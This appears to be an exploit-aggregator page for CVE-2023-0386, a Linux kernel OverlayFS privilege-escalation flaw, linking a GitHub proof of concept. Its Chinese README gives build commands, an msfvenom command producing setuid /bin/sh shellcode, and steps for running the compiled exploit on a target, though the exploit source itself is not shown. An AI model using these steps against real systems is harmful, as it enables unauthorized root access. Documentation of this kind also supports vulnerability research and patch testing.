CVE-2023-0386 PoC — Linux kernel 安全漏洞

Source

https://github.com/EstamelGG/CVE-2023-0386-libs

Associated Vulnerability

Title:Linux kernel 安全漏洞 (CVE-2023-0386)
Description:A flaw was found in the Linux kernel, where unauthorized access to the execution of the setuid file with capabilities was found in the Linux kernel’s OverlayFS subsystem in how a user copies a capable file from a nosuid mount into another mount. This uid mapping bug allows a local user to escalate their privileges on the system.

Description

CVE-2023-0386 包含所需运行库

Readme

安装编译环境

```bash
sudo apt install -y gcc libfuse-dev pkg-config
```

编译 exp

```bash
gcc -Wall CVE-2023-0386.c `pkg-config fuse --cflags --libs` -D_FILE_OFFSET_BITS=64 -o CVE-2023-0386-exp -static -lfuse
```

生成 shellcode

```
msfvenom -p linux/x86/exec CMD=/bin/sh PrependSetuid=True -f elf -o shellcode.elf && xxd -i -c 8 shellcode.elf

xxd -i -c 8 shellcode.elf
```

目标执行，**不需要要求目标安装 gcc 等环境**

```
chmod +x CVE-2023-0386-exp && ./CVE-2023-0386-exp
```

File Snapshot

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →

Goal Reached Thanks to every supporter — we hit 100%!